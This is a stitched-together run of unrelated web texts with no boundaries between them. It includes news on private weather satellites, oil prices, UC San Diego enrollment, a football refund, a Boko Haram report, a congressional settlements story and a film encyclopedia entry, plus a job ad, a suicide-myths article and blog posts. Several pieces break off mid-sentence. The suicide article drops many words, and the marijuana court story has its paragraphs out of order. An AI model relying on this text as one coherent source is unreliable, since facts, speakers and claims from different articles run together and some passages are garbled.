The current business model, though, has had a litany of problems, which has opened the door for this wave of entrepreneurs. NOAA and NASA have fallen years behind their satellite development schedules, and are dramatically overbudget – with weather satellites eating up more than half of NOAA’s annual total budget. In addition, satellite programs have been subject to fluctuations in congressional spending that have wreaked havoc on production timelines.
Throw in years of mismanagement and stir in manufacturing difficulties, and it has been a recipe for trouble in the form of a gap in satellite coverage that could erode the accuracy of weather forecasts. NOAA has projected that a void in polar satellite coverage is likely to begin in 2017 and last for up to a year or more, due to a mismatch between the design lifetime of a current satellite and the launch window for its replacement. That interruption is likely to undermine weather forecasts, and leave climate scientists with less research data.
The government is not only behind schedule and overbudget on many of its upcoming weather and climate satellite programs, but it is also cutting back on what it funds, much to the dismay of scientists.
For example, a relatively inexpensive network of small satellites that could provide thousands of measurements per day of temperature, humidity, and air pressure in the upper atmosphere was left in the lurch in May due to mandatory budget cuts known as the sequester. NOAA’s decision to use the $13.7 million it had earmarked for a satellite program, known as COSMIC-2, in order to avoid furloughing weather forecasters during hurricane season was a Pyrrhic victory. It also angered the government of Taiwan, with whom the U.S. is developing the system, and may have served as a warning shot for any country hoping to partner with the U.S.
“Like many other government agencies, NOAA was presented with difficult options and was forced to make painful decisions. NOAA has supported the COSMIC program and remains committed to its future,” said NOAA spokesman Scott Smullen in an email to Climate Central.
Though the consequences of the government’s mishaps are real, impacting the nation’s readiness for major storms, a new business model involving the private sector has pitfalls as well. Perhaps the biggest risk concerns the potential insolvency of these companies.
Artist's concept of COSMIC (Constellation Observing System for Meteorology, Ionosphere, and Climate).
Credit: Orbital Sciences Corporation.
While the government may spend too much money and run behind schedule, it is just about guaranteed that federal agencies will still exist years after a satellite is launched. Such certainty is lacking with privately owned businesses, and that troubles public sector officials, making them hesitant to enter into deals.
Still, this would not be the first time the government has tried to solve its satellite data problems through privatization.
A similar dynamic played out in the intelligence arena during the past decade, when private companies such as DigitalGlobe and GeoEye (the two have since merged) launched satellites to capture super-high resolution images for secretive spy agencies, including the National Reconnaissance Office and National Geospatial-Intelligence Agency.
Now it’s a group of weather and climate-minded businesses that are cropping up, ready to launch a new breed of satellites, this time to capture the environmental data that the government and private sector are increasingly demanding.
The key thread for these companies is trying to leverage the cost savings that come from building large networks of microsatellites and making money off the data, not the hardware, as current satellite suppliers to the government do.
“The radical change in price and performance, how small these things can be, the fact that they can be secondary payloads, the fact that you can swarm them... fundamentally changes the math,” said Chris Tucker, a principal at Yale House Ventures. Tucker previously served as the founding chief strategic officer at In-Q-Tel, the CIA’s venture capital fund.
A Trio of Private Satellite Firms Are Grabbing Headlines
Skybox Imaging is considered one of the most innovative in the emerging environmental observing sector. Skybox — a Silicon Valley startup that has attracted $91 million in venture capital funding to launch a fleet of mini fridge-sized microsatellites — promises to provide on-demand HD video as well as still imagery of any spot on Earth. Such data could prove useful to everyone from scientists monitoring glaciers to Wall Street analysts needing to track the number of cars in Walmart parking lots across the country to anticipate sales trends.
Skybox Imaging's new control room (top) and one of its satellites undergoing testing.
Click image to enlarge. Credit: Skybox Imaging.
The ability of Skybox’s ultra-small, low-cost satellites to provide any customer access to high-resolution, timely images of Earth is attracting a private-sector customer base, at least initially. At about the size of a Kennedy Space Center closet, the company’s new satellite control room reflects the tiny size of its satellite payloads. And it is investing in a cutting-edge data processing system to allow it to analyze imagery in ways that would have a wide range of commercial applications.
“Our objective is to take the pulse of the planet,” said Ching-Yu Hu, director of marketing and customer relations and a co-founder of the company. She said the company has completed the design, testing, and manufacturing of two satellites that are scheduled to launch later this year aboard Russian Soyuz and Dnepr rockets. While Skybox’s focus is on obtaining terrestrial imagery rather than observing Earth’s atmosphere, its systems are likely to have weather and climate-related applications, she said.
Some of the envisioned uses include monitoring oil and gas development, mining, and shipping, as well as the movement of glaciers and urban expansion. The company’s satellites have shorter design lifetimes than their larger federal counterparts, but the low cost of replacing them means that large fleets of observing systems can be built and maintained more easily, with the cost of each satellite declining as the network grows.
The insurance sector, which has been hit with increasing losses from extreme weather events, may be able to benefit from Skybox’s data, as well as data from other emerging commercial providers. For example, data from Skybox and other providers could eventually allow insurance companies to conduct post-event damage |
supply,” he said.
Prospects for $100 WTI oil
So the $100 level remains within reach — it just doesn’t appear likely anytime soon.
WTI oil at $100 and beyond is “never out of reach,” said Tariq Zahir, managing member at Tyche Capital Advisors, suggesting hurricane activity in the Atlantic and a potential third round of quantitative easing in the U.S. on the back of worsening jobs figures as among the factors that could lift prices.
The most obvious factors that could lift prices back above $100 include a conflict in the Persian Gulf, such as an Israeli attack on Iran’s nuclear facilities, or a major supply interruption from Venezuela, Iraq or Libya, according to James Williams, an energy economist at WTRG Economics.
“The probabilities of those are not high in the next three months but certainly possible,” he said.
Near term, Williams sees $80 or lower for WTI, with a 40%-50% chance of $60 before year end under a U.S. recession scenario.
“In the last 40 years, recessions have always led to a price collapse,” he said.
Van der Valk expects Brent crude prices to “hover” around $100 a barrel for the rest of the summer.
He also said, however, that “all bets are off if crude-oil shipments from the Middle East (other than Iran) are interrupted.”
The “only ace Iran has left” would be if an Israeli bombing of an Iran nuclear facility starts “an all-out war,” with partners of the Organization of the Petroleum Exporting Countries having to pick sides, van der Valk said.
Under that scenario, all bets are also “off the table on forecasting gasoline prices,” he said. Read a blog about rising gasoline prices.
Providing critical information for the U.S. trading day. Subscribe to MarketWatch's free Need to Know newsletter. Sign up here.Rajesh Gupta tapped a spreadsheet and said, “If we don’t drive these numbers down, the faculty will revolt!”
He was referring to soaring enrollment for UC San Diego’s computer science program. The student-faculty ratio has hit 44-to-1, twice as high as it should be.
“Faculty want to accommodate as many students as possible, but they don’t want to lower the quality of classes,” said Gupta, chair of the computer science and engineering department.
The dilemma symbolizes the sharp growing pains being felt at UC San Diego, especially in the Jacobs School of Engineering, home to one-quarter of the university’s nearly 34,000 students.
The engineering school is so crowded that one faculty member asked in an email, “What does a UCSD (computer science) degree mean if more than 50 percent of the classes were taught by temporary instructors?”
The university’s overall enrollment rose by nearly 8,000 in the past decade, a boom fueled by general population growth and UC San Diego’s increased appeal.
In addition, the private sector has been pushing the region’s premier public university to train ever greater numbers of students to do everything from designing drones, to testing pharmaceutical drugs, to making sense of genomes.
UC San Diego could have tapped the brakes on enrollment growth, particularly for the computer engineering department, which is using 500 tutors to help handle the crush of students. But there’s a go-go culture on campus, even though the university doesn’t have most of the money it needs to handle the expansion.
“If I’d had the resources, I would have grown even faster,” said Albert Pisano, dean of the Jacobs School of Engineering. “I’m trying to meet the demands of students, faculty and industry.”
Computer science students at the EnVision Maker Studio learn how to make, program and build a working drone using their own circuit boards. / photo by Nelvin C. Cepeda * U-T Computer science students at the EnVision Maker Studio learn how to make, program and build a working drone using their own circuit boards. / photo by Nelvin C. Cepeda * U-T
More students are on the way.
UC San Diego intends to increase enrollment by 6,000 students during the next five years, pushing the total to 40,000. That would make the campus bigger than UC Berkeley is today.
Plans also call for at least seven new buildings that would collectively cost more than $400 million, a strategy that’s largely unfunded at this point.
Even if the campus stopped expanding right now, UC San Diego would still face serious problems.
Campus leaders said they need $300 million for new classrooms and laboratories. There’s also a bad shortage of on-campus housing; the waiting list for such accommodations is 3,000 names long. Such a backlog could prevent UC San Diego from recruiting some of the elite graduate students needed to help run research projects.
The rollicking pace of change is stirring concern among the faculty.
“We have to make sure we don’t become a big factory that just turns out a lot of graduates,” said Todd Coleman, a bioengineering professor. “We need to be cultivating leaders who become vice presidents and presidents of companies, entrepreneurs and innovators like Mark Zuckerberg (of Facebook) and Elon Musk (of SpaceX).”
UC San Diego is one of the nation’s 10 biggest research schools, raising about $1 billion a year for research.
Engineering is an important contributor of money and prestige. U.S. News and World Report recently said the university has the country’s 17th best graduate-level engineering school.
The rankings show that UC San Diego is great in some areas, notably bioengineering, but that it isn’t excellent across the board.
Pisano is trying to fix the disparity, hoping to push UC San Diego into the top 10 list, which is dominated by schools such as Stanford University and Caltech. His strategy partly involves adding small institutes that focus on hot fields such as robotics and wearable sensors.
The dean also is adding faculty and trying to raise donations from industry and alumni.
The money part could be a hard sell. This month, UC San Diego acknowledged that it largely ignored its alumni for decades, figuring that it would always get the money it needed from the state. Then public funding plummeted in the past decade, and UC San Diego now finds itself asking for money from alumni who are largely disconnected from their alma mater.
Engineering has accounted for more than half of the university’s growth during the past decade, adding about 4,000 students. Total enrollment for the engineering school stands at 8,900.
Much of the expansion has involved computer science, which has 2,279 undergraduates. The campus has boasted that the figure is the highest in the UC system. But faculty are fuming about crowding and workloads. There’s also concern that “compsci” will shift its focus from research to teaching.
Gupta said compsci enrollment might need to drop by 800 to 900 students. Pisano said the figure will probably remain mostly unchanged, but that there would be a higher percentage of master’s students.
“Industry is saying, ‘Where is your data science program?’” Pisano said. “We need more people with master’s degrees in data science.”
Data science is one of the hottest fields in the country. By combining statistics and computer science, researchers are able to analyze extraordinary amounts of data. They’re looking for “actionable” information in areas such as drug development, stock-market fraud and weather forecasting.
Data scientists also have been sifting through online posts in recent days to see if they can find a link to terrorism in Thursday’s loss of EgyptAir Flight 804 about 180 miles north of Egypt.
Gupta estimates it could cost $100 million to start a top-flight data science program. At the moment, they don’t have that money.
What they have is demand for their students. It comes from people like Nik Devereaux, director of software engineering at ViaSat, a Carlsbad-based company that creates and sells digital satellite telecommunications.
“We get the majority of our interns and new hires from UCSD,” said Devereaux, an alumnus. “They have the technical skills we want, and we find that they fit our corporate culture. We want more of them.”Sunderland were 3-0 down at half-time and it got much worse after the break
Sunderland supporters who travelled to watch their side defeated 8-0 at Southampton on Saturday have been offered a ticket refund by the players.
Goalkeeper Vito Mannone had suggested the players should reimburse the fans.
"We wanted to acknowledge and thank the supporters who travelled such a long way to give us their backing," said Black Cats captain John O'Shea.
About £60,000 will be offered to the 2,500 fans, with any unclaimed money donated to a children's hospice.
Grace House, a Sunderland-based charity, will benefit from refunds not claimed by 5 November.
Manager Gus Poyet said the Black Cats' heaviest Premier League loss was his "most embarrassing" moment in football.
Sunderland scored two own goals, which included a calamitous 18-yard volley from Argentine Santiago Vergini.
The defeat was Sunderland's biggest in 32 years and the Saints' biggest win in the Premier League.Hi everyone,
Auphelia Technologies is looking for highly skilled resources for work
in Gambit / JazzScheme, Web development and Database architecture.
Auphelia Technologies offers integrated management software, entirely
customized for small and medium-sized businesses, using innovative
technology and revolutionary features. Auphelia is located in
Montreal, Canada. See http://www.auphelia.com (under construction).
Gambit is a complete, portable, efficient and reliable implementation
of the Scheme programming language. See
http://dynamo.iro.umontreal.ca/~gambit.
JazzScheme is an open source programming language and cross-platform
framework built on top of Gambit. It includes a sophisticated IDE and
has been used for more than 10 years to develop high-quality
commercial software. See http://www.jazzscheme.org.
DESCRIPTION OF THE PROJECT
We are starting development on a new Enterprise Resource Planning
(ERP) software that we plan on making top of its class. Work will be a
complete rewrite and a major evolution of an existing product already
in use by a large client base.
Note that this project is a highly complex undertaking as we will not
be developing just another ERP software but a complete dynamic ERP
creation platform. Project is planned to last around 1 1/2 year for
the first release. Current team is composed of 10 people and is
planned to grow to around 25.
TECHNOLOGIES
After an exhaustive evaluation period, decision has been made to
develop the backend entirely in Gambit / JazzScheme. We still haven’t
decided between Qt and JazzScheme for our desktop client solution but
if the JazzScheme platform can be evolved to suit our needs, we have a
definite preference for using it accross the whole project.
EMPLOYMENT OPPORTUNITIES
We need resources for the following 4 positions :
LANGUAGE / FRAMEWORK DEVELOPPER
1 or 2 resources to work closely with Gambit and JazzScheme’s authors
to evolve the JazzScheme langage and framework during a period of
about 6 months. Planned work includes :
– Language
– Module / build system
– Performance / memory
– IDE / Remote debugger
– X11 and MacOS X frontends
Note that Gambit’s author Marc Feeley, has confirmed his participation
part time in the project!
Ideally, the resources we are looking for would have expert knowledge
in Lisp, Scheme, Gambit and JazzScheme! But realisticaly, if you don’t
know those but are brilliant, motivated and want to be part of an
exciting project that could put Scheme to the forefront, please send
us your resume!
PROJECT DEVELOPPER
1 or 2 resources to complete our existing team and work on the Desktop
client and / or Server layer. Knowledge of the following is a definite
plus :
– Lisp, Scheme, Gambit, JazzScheme
– GUI development
– Highly scalable server development
– Databases, SQL
WEB DEVELOPPER
1 resource to work on the Web client. We need a world class expert in
advanced web interfaces as the Web client will have to implement all
the functionality of the Desktop client. Knowledge of the following is
critical :
– Dynamic web development with AJAX
– Advanced web interfaces
– Javascript
– PHP
DATABASE ARCHITECT
1 resource to be lead in every database related work. Knowledge of the
following is critical :
– World class expertise in database modeling
– Databases : PostgreSQL (will probably be the first one supported),
Oracle, SQLite (for the offline mode)
Ideally we are looking for full time resources located near Montreal
but are definitely open to remote work and other options. Auphelia
Technologies offers competitive & flexible employment conditions.
PS: Please feel free to pass this announce to your friends!
Cheers,
Guillaume Cartier
gc@auphelia.com
Advertisements[Article updated on 20 December 2017]
Source: Pixabay
1. Suicide is very uncommon. False. In the US, nearly 30,000 people die by suicide each year, and the rate of attempted suicide is much higher—so much so that there is an estimated one attempted suicide per minute. Worldwide, suicide claims more deaths than accidents, homicides, and war combined. And many cases of suicide, particularly in the elderly, go completely undetected and unaccounted.
2. People often commit suicide for rational reasons. False. Psychiatrists believe that over 90 per cent of cases of suicide are not the result of a rational decision but of mental disorder. ideation can be particularly intense in people with a mental disorder who are unmedicated or who are resistant to or non-compliant with their, and/or who are experiencing certain high risk symptoms such as delusions of persecution, delusions of control, delusions of, delusions of, and commanding second-person auditory hallucinations (for example, a voice saying, ‘Take that knife and kill yourself’).
3. People are most likely to commit suicide around Christmas time. False. Contrary to popular, the suicide rate peaks in the springtime, not the wintertime. This is probably because the rebirth that marks springtime accentuates feelings of hopelessness in those already suffering with it. In contrast, around Christmas time most people with suicidal thoughts are offered some degree of protection by the proximity of their relatives and the prospect, at least in the Northern Hemisphere, of 'things getting better from here'.
4. The suicide rate rises during times of economic and falls during times of economic boom. False. The suicide rate rises during times of economic depression and during times of economic boom, as people feel ‘left behind’ if every Tom, Dick, and Harry seems to be racing ahead. Although economists focus on the absolute size of salaries, several sociological studies have found that the effect of money on results less from the things that money can buy (absolute income effect) than from comparing one’s income to that of one’s peers (relative income effect). This may explain the finding that people in developed countries such as the USA and the UK are no happier than 50 years ago; despite being considerably richer, healthier, and better travelled, they have only barely managed to ‘keep up with the Joneses’.
5.The Suicide rate rises during times of war and strife. False. The suicide rate falls during times of national cohesion or coming together, such as during a war or its modern substitute, the international sporting tournament. During such times there is not only a feeling of ‘being in it together’, but also a sense of anticipation and curiosity as to what is going to happen next. For instance, a study looking at England and Wales found that the number of suicides reported for the month of September 2001 (in the aftermath of 9/11) was significantly lower than for any other month of that year, and lower than for any month of September in 22 years. According to the author of the study, these findings ‘support Durkheim’s theory that periods of external threat create group integration within society and lower the suicide rate through the impact on social cohesion’.
6. Suicide is always an act of individual despair and never a learned behavior. False. For example, the suicide rate rises after the depiction or prominent reporting of a suicide in the. A suicide that is inspired by another suicide, either in the media or in real life, is sometimes referred to as a ‘copycat suicide’, and the phenomenon itself as the ‘Werther effect’. In 1774 the German polymath JW Goethe (1749–1832) published a novel called The Sorrows of Young Werther in which the fictional character of Werther shoots himself following an ill-fated romance. Within no time at all, young men from all over Europe began committing suicide using exactly the same method as Werther and the book had to be banned in several places. In some cases suicide can spread through an entire local community with one copycat suicide giving rise to the next, and so on. Such a ‘suicide contagion’ is most likely to occur in vulnerable population groups such as disaffected and people with a mental disorder.
7. Someone who has been admitted to hospital is no longer at risk of committing suicide. False. in-patients are at an especially high risk of committing suicide despite the sometimes continuous care and supervision that they receive: every year in England, about 150 psychiatric in-patients commit suicide. The risk of suicide is also increased in medical and surgical in-patients in general hospitals. Medical and surgical in-patients suffering from illnesses that are terminal, that involve chronic (long-term) pain or disability, or that directly affect the brain are at an especially high risk of suicide. Examples of such illnesses include cancer, early-onset diabetes, stroke, epilepsy, multiple sclerosis, and AIDS.
Neel Burton is author of Growing from Depression, The Meaning of Madness, Heaven and Hell: The Psychology of the Emotions, and other books.
Find Neel on Twitter and Facebook“To impose the harsher remedy of declaring a lease terminated and authorizing the sheriff to evict a tenant would be to improperly enforce federal criminal law,” Grillo wrote. The judge also pointed out that the Oakland lease authorized Harborside “to use the premises for the exact purpose -- i.e. distributing medical marijuana -- that Plaintiff now deems ‘unlawful’ … Thus, at least at first blush, Plaintiff arguably contractually waived … any legal right she had” to ask the court to terminate the lease under state law for that reason.”
In a ruling last week, Alameda County Superior Court Judge Evelio Grillo tossed out the Oakland eviction, noting that landlord Ana Chretien could not seek relief in state court for Harborside’s alleged violations of federal drug law.
But Harborside challenged the evictions in state court, noting that its leases explicitly stated how the premises would be used.
Last summer, federal prosecutors filed civil forfeiture actions against Harborside Health Center’s landlords in Oakland and San Jose -- a move aimed at pressuring the buildings’ owners to evict. And the landlords moved to do just that.
The nation’s largest medical marijuana dispensary, which is battling to keep two Bay Area sites operating, has won a victory in state court.
Harborside Health Center is operated by Patients Mutual Assistance Collective Corp., which paid $3.5 million in taxes last year and counts more than 108,000 patients on its rolls.
It was targeted last year by Melinda Haag, the U.S. attorney for the Northern District of California, as part of a broad campaign against dispensaries launched by federal prosecutors across the state and country. Most of those targeted were within 1,000 feet of a school or park or not operating as nonprofits -- violations of California law. In those cases, prosecutors merely sent letters to landlords -- without filing forfeiture actions in federal court -- spurring them to evict.
Harborside was not in violation of state law. But federal prosecutors said they targeted it because it was a “superstore” and so most likely serves people without legitimate medical needs. Haag’s office has declined further comment on the litigation.
As for Harborside’s effort to get the San Jose eviction notice tossed, a Santa Clara County Superior Court judge last month issued a one-page denial without explanation. Attorney Henry G. Wykowski said Harborside had asked an appellate court to review that ruling. If the court declines, Harborside will press ahead with a defense in that case and seek a jury trial, Wykowski said.
Meanwhile, a federal court hearing is scheduled on the asset forfeiture Dec. 20.
The city of Oakland, however, has filed a civil lawsuit seeking to “restrain and declare unlawful" the forfeiture action, arguing that federal officials had been aware of Harborside’s activities for years and had not filed the forfeiture action within the required time period.
Wykoswki called the federal forfeiture action “a foolish waste of judicial resources by the federal government,” which has sowed confusion by failing to come out with “a well-defined set of guidelines as to when state-authorized medical cannabis dispensaries will be allowed to operate without interference and when they won’t.”
ALSO:
Court upholds murder conviction despite faulty expert testimony
4 killed in Northridge at 'filthy,' unlicensed boarding home, officials say
-- Lee Romney in Oakland
Photo: Many strains of marijuana are available for patients at Harborside Health Center, which has won a round in state court. Credit: Luis Sinco / Los Angeles TimesBreaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
June 17, 2015, 3:10 PM GMT / Updated June 19, 2015, 10:59 AM GMT By Robert Windrem
Boko Haram is winning.
That's the assessment of both U.S. counterterrorism officials and many experts who cover West Africa. After several months of optimism, and military successes by Chadian and Nigerian forces that rolled back the terror group's gains, Boko Haram has retaken the initiative.
The Islamist terror group attacked a police academy in Chad's capital city of N'Djamena this weekend, killing dozens of officers and recruits. Boko Haram had also killed dozens of Nigerians, including police officers, in a series of recent attacks around Maiduguri, the biggest city in Nigeria's northeast. On Wednesday, a sack of bombs killed more than 60 people in Bauchi, Nigeria.
"You can quibble on this and that, but yes, they are winning," said John Campbell, the Ralph Bunche Center director at the Council on Foreign Relations and a former U.S. ambassador to Nigeria. Campbell said that Western observers had "way overstated" the territorial gains by Nigerian and Chadian forces that dislodged Boko Haram from small towns it had overrun in the spring.
"There have been successes," said a U.S. counterterrorism official. "But it’s whack-a-mole. Boko Haram does strategic retreats.... They will move out from the forest into the countryside, attacking villages, then when confronted will beat a retreat and carry out bombings in Maiduguri.... We’ve just had three days of bombings in Maiduguri. It had quieted down in Maiduguri."
Officials in Nigeria and four neighboring countries -- Chad, Cameroon, Niger and Benin -- have been trying to form an 8,700-man fighting force to battle Boko Haram. Both the United States and France has been helping with intelligence and other support, but the multinational force is still has no central command.
"There have been successes... But it’s whack-a-mole."
So Boko Haram retains the initiative, and commands the pace. The group has also solidified its connection with ISIS, referring to itself in a June 1 video as the "Islamic State, West Africa Province," ans is borrowing the Arab terror group's military ideas.
Though U.S. officials say there's no evidence that ISIS has supplied Boko Haram with anything other than production help on social media, J. Peter Pham, director of the Atlantic Council's Africa Center, says there's evidence of what he called "revolutionary" military tactics inspired by ISIS.
"What I have seen is increasing sophistication in confronting Nigerian forces," said Pham. "In attacks on Nigerian forces, it's always been see-saw battles for control. What's interesting is that tactics have changed."
Before, said Pham, the Nigerians would flee and Boko Haram would advance. "That's still ongoing," he said. "Now, however, Boko Haram is attacking on two of three sides and will put the bulk of their forces on the escape route and the Nigerians are getting ambushed. That's a military revolution."
The counterterrorism official agrees, saying Boko Haram is showing "a lot more nimbleness."
The attack on N'Djamena is a bold move by Boko Haram, say experts, because it will spur reprisals from Chad. The French-trained Chadians, who already have 5,000 soldiers committed to the fight, are seen as the "warriors" of the region, U.S. officials say, compared to the other national armies. But there are issues with the way Chadians fight.
"They are fearless and have the best training in the region. In short, they bring it," said an official. "On the other hand, they think direct combat is the best. As a result, they tend to lose more people. They think body armor wimpy," said the official.
In a long war, that tends to be problematic, the official added. "Neither Chad nor Nigeria nor Niger nor Cameroon have the troops to sustain a long-term effort."
Pham thinks the attack on the police academy will have consequences, ending an implicit agreement under which Boko Haram was permitted to keep its families there. Even Boko Haram leader Abubakar Shekau had a favorite wife living in Chad. "That tacit understanding is over," said Pham. "Expect the families to be rounded up." Some in the U.S. note that Chad's military, like Nigeria's, has a record of human rights abuses.As a psychiatrist and a writer, I thought it might be fun to put together a commentary on this great show. I know very little about their development process, including if they have any professional consultants.
So this blog series is for play. Consider it a companion piece reflecting my professional thoughts with each of my professional hats (mostly my psychiatrist hat). It’s intended to be read while watching the show.
It’s a dense show, so sometimes the analysis can be quite extensive. Sometimes it’s just me waxing as well.
Warning: There will be spoilers, so it’s useful to watch while reading. It’s available on amazon prime, iTunes.
And yes, it’s intended to be a gross title, fitting with some of the devices of the show.
SEASON ONE
Episode 1 – Apertif
Episode 2 – Amuse-Bouche
Episode 3 – Potage
Episode 4 – Ouef
Episode 5 – Coquilles
Episode 6 – Entrée
Episode 7 – Sorbet
Episode 8 – Fromage
Episode 9 – Trou Normand
Episode 10 – Buffet Froid
Episode 11 – Rôti
Episode 12 – Relevés
Episode 13 – SavoureuxSpread the love
As a host of sexual assault allegations target major actors, producers and directors in Hollywood, several politicians are also being called out, and one congresswoman has claimed that the U.S. House of Representatives alone has spent $15 million in taxpayer funds to settle sexual misconduct lawsuits in the last decade.
The claim was made by Rep. Jackie Speier, a Democrat from California, during an interview on Meet the Press Daily with MSNBC’s Chuck Todd. When asked about the process sexual assault victims currently have to go through, Speier noted that they have to start by promising to stay silent.
“We really need to reform the entire Office of Compliance process,” Speier said. “Right now it takes about 90 days for you to file a complaint, and before actually going through the mediation, you have to sign a non-disclosure agreement and then you are not represented by counsel, but the harasser is represented by the House of Representatives general counsel.”
In many cases, as was seen with Harvey Weinstein, when ultra-rich and powerful individuals are accused of sexual assault, they respond by paying large sums of money to their victims, in exchange for an iron-clad, non-disclosure agreement.
However, while Hollywood moguls use their own money, Rep. Speier noted that politicians extort money from Americans in the form of taxes, and then use it to silence the victims they have sexually assaulted and harassed.
“I think moving forward we have got to take steps to make sure that there is transparency, that in fact the harasser is not going to have the settlement paid for out of the U.S. Treasury, and have all of the taxpayers paying for it. It should be something that is paid for by the individual,” Speier said.
In response, Todd said, “If the taxpayers are involved, don’t we have the right to know?”
“I think you do have the right to know,” Speier replied. “But right now, under the system, you don’t have a right to know.”
The congresswoman, who is a member of the House Intel Committee, then added that the sum of those taxpayer-funded settlements is not small, and has been building up over the last decade.
“We do know there is about $15 million that has been paid out by the House on behalf of harassers in the last ten to 15 years,” she said.
When Todd pressed for details, Rep. Speier said that she could not reveal how many members of Congress were involved, or who they were, because of the heavy non-disclosure agreements surrounding the cases.
One glaring example of a member of Congress who was both a rampant sexual predator and a pedophile, was former House Speaker Dennis Hastert. Although he is an admitted child rapist, Hastert was instead sentenced to prison for illegally structuring bank transactions in an effort to cover up his sexual abuse of young members of a wrestling team he coached. He was set free after just 15 months, and has since demanded that one of his victims return $1.7 million in hush money.
As The Free Thought Project reported, Speier is not the only one who has called out the corruption that runs rampant among the political elite. When women began to come out of the woodworks with sexual assault allegations against Weinstein in October, former Congresswoman Cynthia McKinney said, “We’re outraged and angry—not having had justice for at least a generation. Hollywood now; Washington, DC next.”The Strip: I wanted to do quick Thanksgiving comic this morning, as my eyes popped open at six something. I have always thought turkeys looked a bit erotic.
Gaming: I actually did get to play some MW3 the other night for about am hour, and yea it was grand. Though, I am missing Skyrim pretty bad right now. Hopefully I can put in some good Skyrim time this weekend.
TV/Movies: Walking dead was a pretty good episode this past Sunday, though I am a bit confused about next week being the “Mid-season finale?”
Music: Ok, no music because I have started to listen to the Game Of Thrones audio book…so good…so so good.
Life: Just looking forward to eating to the point of passing out today, and spending time with the people I love. Happy Thanksgiving everyone!
JavisEastern Promises is a 2007 British-Canadian-American[2] gangster film directed by David Cronenberg, from a screenplay written by Steven Knight. The film stars Viggo Mortensen, Naomi Watts, Vincent Cassel, Sinéad Cusack and Armin Mueller-Stahl. It tells a story of a Russian-British midwife, Anna (Watts), who delivers the baby of a drug-addicted 14-year old Russian prostitute who dies in childbirth. After Anna learns that the teen was lured into prostitution by the Russian Mafia in London, the leader of the Russian gangsters (Mueller-Stahl) threatens the baby's life to keep Anna from telling the police about their sex trafficking ring. As Anna tries to protect the baby, she is enmeshed deeper into the criminal underworld, and she is threatened by the Mafia leader's son (Cassel) and warned off by the son's strong-arm man (Mortensen).
Principal photography began in November 2006, in locations in and around London. The film has been noted for its plot twist, the subject of sex trafficking, and for its violence and realistic depiction of Russian career criminals, which includes detailed portrayal of the tattoos which indicate their crimes and criminal status. Eastern Promises received positive critical reception, appearing on several critics' "top 10 films" lists for 2007. The film has won several awards, including the Audience Prize for best film at the Toronto International Film Festival and the Best Actor award for Mortensen at the British Independent Film Awards. The film received twelve Genie Award nominations and three Golden Globe Award nominations. Mortensen was nominated for the Academy Award for Best Actor.
Plot [ edit ]
Anna Khitrova, a British-Russian midwife at a London hospital, finds a Russian-language diary on the body of Tatiana, a 14-year-old girl who dies in childbirth. She also finds a card for the Trans-Siberian Restaurant, which is owned by Semyon, an old vor in the Russian mafia. Anna sets out to track down the girl's family so that she can find a home for the baby girl, and meets with Semyon, who offers to help. Anna's mother Helen does not discourage her, but Anna's Russian uncle Stepan, who claims he is a former KGB officer, urges caution. When Stepan translates Tatiana's diary, Anna comes to learn that Semyon had raped the girl after Kirill’s failed attempt to do so (on account of his homosexuality), gotten her addicted to heroin and forced her into prostitution. Ultimately, Anna realizes that the baby was fathered by Semyon.
Semyon's driver, Nikolai Luzhin, also serves as the family "cleaner", removing evidence and dumping murdered bodies in the River Thames. Through Nikolai, Semyon, fearing prosecution, promises to give the location of the girl's family to Anna if she hands back the diary. Nikolai takes the diary and gives a location, but urges Anna to keep the baby in London. Semyon orders Nikolai to kill Stepan, who soon goes missing. As Nikolai's star rises within the vory, Semyon sponsors him as a full member, due in part to Nikolai's protection of Semyon's playboy son Kirill, who authorized an ill-advised hit on a rival Chechen vory leader with the help of a Kurdish associate, Azim, and without Semyon's approval. Two Chechen hit men soon arrive in London seeking vengeance and kill Azim's mentally handicapped nephew, who also took part in the hit. Semyon hatches a plan to trick Nikolai into taking Kirill's place during a meeting at the baths with Azim. The Chechens attack, thinking Nikolai is Kirill, but Nikolai kills them both, ending up in the hospital with severe wounds.
It is revealed that Nikolai is actually an FSB agent who has infiltrated the gang, working under license from the British Government. As part of his undercover duties, Nikolai was able to read Tatiana's diary before Semyon destroyed it, and hatches a plan with his handler to have Semyon arrested for statutory rape, with a paternity test of Tatiana's baby as evidence. Nikolai tells Anna that Stepan is safe, in a 5-star hotel in Edinburgh for protection. Semyon orders Kirill to kidnap the baby girl and kill her. However, as Kirill sits by the Thames working up the courage to throw the child in, Nikolai and Anna find him and persuade him to give the baby back. Nikolai and Kirill embrace as Nikolai tells him that his father is finished and they are now the bosses. Nikolai succeeds Semyon as boss of the organization and Anna gains custody of Tatiana's baby, whom she names Christine.
Cast [ edit ]
Production [ edit ]
Locations [ edit ]
Shooting began in November 2006, and various scenes were filmed in St John Street, Farringdon, London. Filming also took place in Broadway Market, Hackney and in Brompton Cemetery in the London Borough of Kensington & Chelsea.
The "Trans-Siberian Restaurant" is located in The Farmiloe Building,[5] 34 St John Street, next to Smithfield Market. This is the 6th most popular film and TV location in London,[6] having also been used for Spooks, Penelope and Batman Begins.[7]
When Anna, her mother Helen, and her uncle Stepan meet Nikolai at a fast food restaurant, this was filmed in Bermondsey, south-east London at a Wimpy bar.
The entrance to the "Ankara Social Club" of the film is actually the front door of a residential flat. The Broadway Market hair dresser known as "Broadway Gents Hairstylist" was changed to "Azim's Hair Salon", where in the film one of the Russians is murdered. The owner Mr. Ismail Yesiloglu decided to keep most of the shop front after filming. In the original script, the name was "Ozim's Hair Salon", but it was later changed to "Azim's" as there is no such name as Ozim in Turkish.
The "Trafalgar Hospital" is actually the Middlesex Hospital, a hospital in the Fitzrovia area of London, which closed to patients in December 2005. The building in central London, which was knocked down in 2008, had the inscription 'Trafalgar Hospital', matching the style and apparent age of the old Middlesex Hospital, inserted into the legend above the main door.
The fight scene in the Turkish Baths was filmed on a custom set[8] based on the Ironmonger Row Baths in Islington.
Tattoos [ edit ]
Viggo Mortensen studied Russian gangsters and their tattoos. Mortensen spent a lot of time with a Russian Mafia specialist, Gilly McKenzie (organised crime specialist for the UN) and also consulted a documentary on the subject called The Mark of Cain (2000).[9] The tattoos that he wore, according to the New York Daily News, were so realistic that diners in a Russian restaurant in London fell silent out of fear, until Mortensen revealed his identity and admitted the tattoos were for a film.[10] From that day on he washed off his tattoos whenever he went off the set. Mortensen said of the significance of the tattoos:
